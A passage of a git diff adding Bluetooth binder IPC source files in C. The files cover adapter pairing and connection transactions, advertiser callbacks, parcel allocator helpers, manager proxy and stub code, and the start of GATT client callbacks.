+ + status = adapter_create_bond(&addr, transport); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_REMOVE_BOND: { + bt_transport_t transport; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &transport); + if (stat != STATUS_OK) + return stat; + + status = adapter_remove_bond(&addr, transport); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_CANCEL_BOND: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = adapter_cancel_bond(&addr); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_PAIR_REQUEST_REPLY: { + bool accept; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &accept); + if (stat != STATUS_OK) + return stat; + + status = adapter_pair_request_reply(&addr, accept); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_SET_PAIRING_CONFIRM: { + bt_transport_t transport; + bool accept; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &transport); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &accept); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_pairing_confirmation(&addr, transport, accept); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_SET_PIN_CODE: { + bool accept; + char* pincode = NULL; + uint32_t len; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &accept); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &pincode, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &len); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_pin_code(&addr, accept, pincode, len); + free(pincode); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_SET_PASSKEY: { + bt_transport_t transport; + bool accept; + uint32_t passKey; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &transport); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &accept); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &passKey); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_pass_key(&addr, transport, accept, passKey); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_CONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = adapter_connect(&addr); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_DISCONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = adapter_disconnect(&addr); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_CONNECT_LE: { + ble_addr_type_t type; + ble_connect_params_t param; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBleConnectParam(in, ¶m); + if (stat != STATUS_OK) + return stat; + + status = adapter_le_connect(&addr, type, ¶m); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_DISCONNECT_LE: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = adapter_le_disconnect(&addr); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_SET_LE_PHY: { + ble_phy_type_t tx_phy; + ble_phy_type_t rx_phy; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &tx_phy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rx_phy); + if (stat != STATUS_OK) + return stat; + + status = adapter_le_set_phy(&addr, tx_phy, rx_phy); + stat = AParcel_writeUint32(out, status); + break; + } + default: + break; + } + + return stat; +} + +static AIBinder* BtAdapter_getBinder(IBtAdapter* adapter) +{ + AIBinder* binder = NULL; + + if (adapter->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(adapter->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(adapter->clazz, (void*)adapter); + if (adapter->WeakBinder != NULL) { + AIBinder_Weak_delete(adapter->WeakBinder); + } + + adapter->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +AIBinder_Class* BtAdapter_Class_define(void) +{ + return AIBinder_Class_define(BT_ADAPTER_DESC, IBtAdapter_Class_onCreate, + IBtAdapter_Class_onDestroy, IBtAdapter_Class_onTransact); +} + +binder_status_t BtAdapter_addService(IBtAdapter* adapter, const char* instance) +{ + adapter->clazz = BtAdapter_Class_define(); + AIBinder* binder = BtAdapter_getBinder(adapter); + adapter->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtAdapter* BpBtAdapter_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtAdapter* bpBinder = NULL; + + clazz = BtAdapter_Class_define(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtAdapter_delete(BpBtAdapter* bpAdapter) +{ + AIBinder_decStrong(bpAdapter->binder); + free(bpAdapter); +} + +AIBinder* BtAdapter_getService(BpBtAdapter** bpAdapter, const char* instance) +{ + BpBtAdapter* bpBinder = *bpAdapter; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtAdapter_new(instance); + if (!bpBinder) + return NULL; + + *bpAdapter = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/binder/src/advertiser_callbacks_proxy.c b/service/ipc/binder/src/advertiser_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..cd7a4cd21d982e2ad538814e43d8c89a4010b052 --- /dev/null +++ b/service/ipc/binder/src/advertiser_callbacks_proxy.c @@ -0,0 +1,85 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "advertiser_callbacks_stub.h" +#include "bluetooth.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtAdvertiserCallbacks_onAdvertisingStart(bt_advertiser_t* adv, uint8_t adv_id, uint8_t status) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = adv; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)adv_id); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_ON_ADVERTISING_START, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdvertiserCallbacks_onAdvertisingStopped(bt_advertiser_t* adv, uint8_t adv_id) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = adv; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)adv_id); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_ON_ADVERTISING_STOPPED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } + AIBinder_decStrong(binder); +} + +static const advertiser_callback_t static_advertiser_cbks = { + sizeof(static_advertiser_cbks), + BpBtAdvertiserCallbacks_onAdvertisingStart, + BpBtAdvertiserCallbacks_onAdvertisingStopped, +}; + +const advertiser_callback_t* BpBtAdvertiserCallbacks_getStatic(void) +{ + return &static_advertiser_cbks; +} diff --git a/service/ipc/binder/src/advertiser_callbacks_stub.c b/service/ipc/binder/src/advertiser_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..f14c7f0e64a8ab7ea8f80a11140918ba7d716a9b --- /dev/null +++ b/service/ipc/binder/src/advertiser_callbacks_stub.c @@ -0,0 +1,139 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "advertiser_callbacks_stub.h" +#include "binder_utils.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_ADVERTISER_CALLBACK_DESC "BluetoothADvertiserCallback" + +static const AIBinder_Class* kIBtAdvertiserCallbacks_Class = NULL; + +static void* IBtAdvertiserCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtAdvertiserCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtAdvertiserCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtAdvertiserCallbacks* cbks = AIBinder_getUserData(binder); + + switch (code) { + case ICBKS_ON_ADVERTISING_START: { + uint32_t adv_id, status; + + stat = AParcel_readUint32(in, &adv_id); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_advertising_start(cbks, (uint8_t)adv_id, (uint8_t)status); + break; + } + case ICBKS_ON_ADVERTISING_STOPPED: { + uint32_t adv_id; + + stat = AParcel_readUint32(in, &adv_id); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_advertising_stopped(cbks, (uint8_t)adv_id); + BtAdvertiserCallbacks_delete(cbks); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtAdvertiserCallbacks_getBinder(IBtAdvertiserCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtAdvertiserCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtAdvertiserCallbacks_Class) { + kIBtAdvertiserCallbacks_Class = AIBinder_Class_define(BT_ADVERTISER_CALLBACK_DESC, IBtAdvertiserCallbacks_Class_onCreate, + IBtAdvertiserCallbacks_Class_onDestroy, IBtAdvertiserCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtAdvertiserCallbacks_Class); +} + +IBtAdvertiserCallbacks* BtAdvertiserCallbacks_new(const advertiser_callback_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtAdvertiserCallbacks* cbks = malloc(sizeof(IBtAdvertiserCallbacks)); + + clazz = AIBinder_Class_define(BT_ADVERTISER_CALLBACK_DESC, IBtAdvertiserCallbacks_Class_onCreate, + IBtAdvertiserCallbacks_Class_onDestroy, IBtAdvertiserCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtAdvertiserCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtAdvertiserCallbacks_delete(IBtAdvertiserCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/binder_utils.c b/service/ipc/binder/src/binder_utils.c new file mode 100644 index 0000000000000000000000000000000000000000..b1c03029a3ad6279d95ed4fddc037d83f6f5eccb --- /dev/null +++ b/service/ipc/binder/src/binder_utils.c @@ -0,0 +1,118 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "binder_utils.h" + +bool AParcelUtils_btCommonAllocator(void** data, uint32_t size) +{ + *data = malloc(size); + if (!(*data)) + return false; + + return true; +} + +bool AParcelUtils_stringAllocator(void* stringData, int32_t length, char** buffer) +{ + if (length == -1 || buffer == NULL) + return true; + + char* p = malloc(length); + *(char**)stringData = p; + *buffer = p; + + return true; +} + +bool AParcelUtils_stringArrayAllocator(void* arrayData, int32_t length) +{ + return true; +} +bool AParcelUtils_stringArrayElementAllocator(void* arrayData, size_t index, int32_t length, + char** buffer) +{ + return true; +} +const char* AParcelUtils_stringArrayElementGetter(const void* arrayData, size_t index, + int32_t* outLength) +{ + return NULL; +} +bool AParcelUtils_parcelableArrayAllocator(void* arrayData, int32_t length) +{ + return true; +} +binder_status_t AParcelUtils_writeParcelableElement(AParcel* parcel, const void* arrayData, + size_t index) +{ + return STATUS_OK; +} +binder_status_t AParcelUtils_readParcelableElement(const AParcel* parcel, void* arrayData, + size_t index) +{ + return STATUS_OK; +} +bool AParcelUtils_int32ArrayAllocator(void* arrayData, int32_t length, int32_t** outBuffer) +{ + return true; +} +bool AParcelUtils_uint32ArrayAllocator(void* arrayData, int32_t length, uint32_t** outBuffer) +{ + return true; +} +bool AParcelUtils_int64ArrayAllocator(void* arrayData, int32_t length, int64_t** outBuffer) +{ + return true; +} +bool AParcelUtils_uint64ArrayAllocator(void* arrayData, int32_t length, uint64_t** outBuffer) +{ + return true; +} +bool AParcelUtils_floatArrayAllocator(void* arrayData, int32_t length, float** outBuffer) +{ + return true; +} +bool AParcelUtils_doubleArrayAllocator(void* arrayData, int32_t length, double** outBuffer) +{ + return true; +} +bool AParcelUtils_boolArrayAllocator(void* arrayData, int32_t length) +{ + return true; +} +bool AParcelUtils_boolArrayGetter(const void* arrayData, size_t index) +{ + return true; +} +void AParcelUtils_boolArraySetter(void* arrayData, size_t index, bool value) +{ + return; +} +bool AParcelUtils_charArrayAllocator(void* arrayData, int32_t length, char16_t** outBuffer) +{ + return true; +} +bool AParcelUtils_byteArrayAllocator(void* arrayData, int32_t length, int8_t** outBuffer) +{ + if (length == -1 || outBuffer == NULL) + return true; + + int8_t* p = malloc(length); + *(int8_t**)arrayData = p; + *outBuffer = p; + + return true; +} diff --git a/service/ipc/binder/src/bluetooth_proxy.c b/service/ipc/binder/src/bluetooth_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..333d4836b846a21a7998fe48d4ef50ca03361a56 --- /dev/null +++ b/service/ipc/binder/src/bluetooth_proxy.c @@ -0,0 +1,183 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +// #include <android/binder_auto_utils.h> +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "bluetooth_proxy.h" +#include "bluetooth_stub.h" +#include "utils/log.h" + +bt_status_t BpBtManager_createInstance(AIBinder* binder, uint32_t handle, + uint32_t type, const char* hostName, + uint32_t* appId) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, hostName, strlen(hostName)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBLUETOOTH_CREATE_INSTANCE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, appId); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtManager_getInstance(AIBinder* binder, const char* name, uint32_t* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, name, strlen(name)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBLUETOOTH_GET_INSTANCE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtManager_deleteInstance(BpBtManager* bpManager, uint32_t appId) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpManager->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, appId); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBLUETOOTH_DELETE_INSTANCE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtManager_startService(BpBtManager* bpManager, uint32_t appId, uint32_t profileId) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpManager->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, appId); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, profileId); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBLUETOOTH_START_SERVICE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtManager_stopService(BpBtManager* bpManager, uint32_t appId, uint32_t profileId) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpManager->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, appId); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, profileId); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBLUETOOTH_STOP_SERVICE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} \ No newline at end of file diff --git a/service/ipc/binder/src/bluetooth_stub.c b/service/ipc/binder/src/bluetooth_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..24760ac32d118ae1c1966d5bd884afc59705fe49 --- /dev/null +++ b/service/ipc/binder/src/bluetooth_stub.c @@ -0,0 +1,279 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_ibinder_platform.h> +#include <android/binder_manager.h> +#include <android/binder_process.h> + +#include "binder_utils.h" +#include "bluetooth.h" +#include "bluetooth_proxy.h" +#include "bluetooth_stub.h" +#include "manager_service.h" +#include "utils/log.h" + +#define BT_MANAGER_DESC "BluetoothManager" +static const AIBinder_Class* kIBtManager_Class = NULL; + +static void* IBtManager_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtManager_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtManager_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + + switch (code) { + case IBLUETOOTH_CREATE_INSTANCE: { + uid_t uid = AIBinder_getCallingUid(); + pid_t pid = AIBinder_getCallingPid(); + char* hostName = NULL; + uint32_t handle, type, appId = 0xFF; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &hostName, + AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + bt_status_t status = manager_create_instance(handle, type, hostName, (pid_t)pid, uid, &appId); + free(hostName); + + stat = AParcel_writeUint32(reply, appId); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, status); + if (stat != STATUS_OK) + return stat; + break; + } + case IBLUETOOTH_DELETE_INSTANCE: { + uint32_t appId = 0xFF; + + stat = AParcel_readUint32(in, &appId); + if (stat != STATUS_OK) + return stat; + bt_status_t status = manager_delete_instance(appId); + + stat = AParcel_writeUint32(reply, status); + if (stat != STATUS_OK) + return stat; + + break; + } + case IBLUETOOTH_GET_INSTANCE: { + uid_t uid = AIBinder_getCallingUid(); + pid_t pid = AIBinder_getCallingPid(); + char* hostName = NULL; + uint32_t handle; + + stat = AParcel_readString(in, &hostName, + AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + BT_LOGD("UID:%d, PID:%d, hostname:%s", uid, pid, hostName); + bt_status_t status = manager_get_instance(hostName, (pid_t)pid, &handle); + free(hostName); + + stat = AParcel_writeUint32(reply, handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, status); + if (stat != STATUS_OK) + return stat; + break; + } + case IBLUETOOTH_START_SERVICE: { + uint32_t profileId, appId = 0xFF; + + stat = AParcel_readUint32(in, &appId); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &profileId); + if (stat != STATUS_OK) + return stat; + + bt_status_t status = manager_start_service(appId, profileId); + + stat = AParcel_writeUint32(reply, status); + if (stat != STATUS_OK) + return stat; + + break; + } + case IBLUETOOTH_STOP_SERVICE: { + uint32_t profileId, appId = 0xFF; + + stat = AParcel_readUint32(in, &appId); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &profileId); + if (stat != STATUS_OK) + return stat; + + bt_status_t status = manager_stop_service(appId, profileId); + + stat = AParcel_writeUint32(reply, status); + if (stat != STATUS_OK) + return stat; + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtManager_getClass(void) +{ + if (!kIBtManager_Class) { + kIBtManager_Class = AIBinder_Class_define(BT_MANAGER_DESC, IBtManager_Class_onCreate, + IBtManager_Class_onDestroy, IBtManager_Class_onTransact); + } + + return kIBtManager_Class; +} + +static AIBinder* BtManager_getBinder(IBtManager* manager) +{ + AIBinder* binder = NULL; + + if (manager->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(manager->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(manager->clazz, (void*)manager); + if (manager->WeakBinder != NULL) { + AIBinder_Weak_delete(manager->WeakBinder); + } + + manager->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtManager_addService(IBtManager* manager, const char* instance) +{ + manager->clazz = (AIBinder_Class*)BtManager_getClass(); + AIBinder* binder = BtManager_getBinder(manager); + manager->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtManager* BpBtManager_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtManager* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtManager_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtManager_delete(BpBtManager* bpManager) +{ + AIBinder_decStrong(bpManager->binder); + free(bpManager); +} + +AIBinder* BtManager_getService(BpBtManager** bpManager, const char* instance) +{ + BpBtManager* bpBinder = *bpManager; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtManager_new(instance); + if (!bpBinder) + return NULL; + + *bpManager = bpBinder; + + return bpBinder->binder; +} + +void Bluetooth_joinThreadPool(void) +{ + ABinderProcess_setThreadPoolMaxThreadCount(0); + ABinderProcess_joinThreadPool(); +} + +void Bluetooth_startThreadPool(void) +{ + ABinderProcess_setThreadPoolMaxThreadCount(0); + ABinderProcess_startThreadPool(); +} + +binder_status_t Bluetooth_setupPolling(int* fd) +{ + return ABinderProcess_setupPolling(fd); +} + +binder_status_t Bluetooth_handlePolledCommands(void) +{ + return ABinderProcess_handlePolledCommands(); +} diff --git a/service/ipc/binder/src/gattc_callbacks_proxy.c b/service/ipc/binder/src/gattc_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..af071e0c915b9e86908dd6e3dfbf6fb7e0953be1 --- /dev/null +++ b/service/ipc/binder/src/gattc_callbacks_proxy.c @@ -0,0 +1,234 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "gattc_service.h" + +#include "gattc_callbacks_stub.h" +#include "gattc_proxy.h" +#include "gattc_stub.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtGattClientCallbacks_onConnected(void* handle, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gattc_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_CLIENT_CONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattClientCallbacks_onDisconnected(void* handle, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gattc_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + 